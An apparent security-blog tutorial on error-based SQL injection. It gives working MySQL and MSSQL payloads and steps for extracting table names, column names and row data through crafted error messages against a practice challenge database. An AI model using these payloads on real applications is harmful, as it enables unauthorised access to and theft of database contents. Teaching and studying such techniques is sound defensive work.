SQL Injection Exploitation: Error-based
Published: 19 October 2020
This article is Part 2 of a series; to read about detecting and fixing SQL injection in Part 1, click here.
There are several methods for exploiting SQL Injection vulnerabilties depending on the context of the injection point, any potential filters and Web Application Firewalls (WAF) in place.
With error-based injection, data can be extracted from the database where an error message can be crafted which contains confidential data. For example:
MySQL: AND ExtractValue('',Concat('=',@@version))
MSSQL: AND 1 in (@@version)
With the MSSQL payload above the intention is to cause a string to be converted to an integer – which may throw an error where the error will contain the contents of the string. With the MySQL payload above a similar thing is attempted however this is achieved through an XPath function.
The ExtractValue function expects XPath for the second parameter, if you supply anything other than XPath you will receive an error such as:
XPATH syntax error: 'foobar'
The payload also uses the concat() function to prepend an equals sign to the front of the string to be extracted, in case the first few characters are valid as XPath (such as integers) which would cause them not to be shown. Appending an equals sign prevents this.
The following screenshot shows this being used against a MySQL database:
Extracting Table Names
Using the error message to extract information from the database is simple, however only a single item can be retrieved at once, so extracting table contents requires a little more work.
Firstly it should be noted that table and column names can be extracted from the database using the built-in information_schema database. With queries such as:
SELECT table_name FROM information_schema.tables SELECT column_name FROM information_schema.columns
However as this will retrieve the complete list this could not be used with error-based extraction. Therefore it’s required that the query be modified to pull one name at a time, which on MySQL is achieveable using the LIMIT keyword. Such as:
SELECT table_name FROM information_schema.tables LIMIT 0,1
Here the LIMIT keyword is being used to reduce the returned rows to 1 row, starting from row 0. The next rows can then be retried using:
SELECT table_name FROM information_schema.tables LIMIT 1,1
SELECT table_name FROM information_schema.tables LIMIT 2,1
SELECT table_name FROM information_schema.tables LIMIT 3,1
SELECT table_name FROM information_schema.tables LIMIT 4,1
Combining this payload, into the ExtractValue() payload used to craft an error message would look like this:
1 AND ExtractValue('',Concat('=',(SELECT table_name FROM information_schema.tables LIMIT 0,1)))
It might also be useful to know that the number of tables can be retrieved using a simliar payload but with the count() function, which returns just the number of tables, as:
1 AND ExtractValue('',Concat('=',(SELECT count(table_name) FROM information_schema.tables)))
This can be seen in the screenshots below, showing table names being retrieved from the database:
Now that we have retrieved all of the table names, we can modify the query to retrieve the column names as described previous. However if we want to retrieve the column names for a specific table we can supply the table name within the WHERE clause, as:
SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge1' LIMIT 0,1
Therefore we can retrieve the amount of columns, again using count(), and then retrieve each column name with a query similar to above (but placed within the ExtractValue() function as before.
1 AND ExtractValue('',Concat('=',(SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge1' LIMIT 0,1)))
This would produce something like:
Now that we have a list of tables, and for each table a list of columns, we can retrieve content from tables. This is simply achieved by using a SELECT statement with the LIMIT keyword. By adding the SELECT statement into the ExtractValue() function to allow it to be retrieved from the error message you would end up with something like:
1 AND ExtractValue('',Concat('=',(SELECT flag FROM challenge1 LIMIT 0,1)))
To read more about SQL Injection, try the following articles:
Posts broken down by category
Articles concentrating on network and operating system level attacks.
Articles covering attacks against web applications and their associated APIS.
Articles concentrating on past data breaches, looking for lessons learned.
Articles covering breaking into wireless networks and how to keep them safe.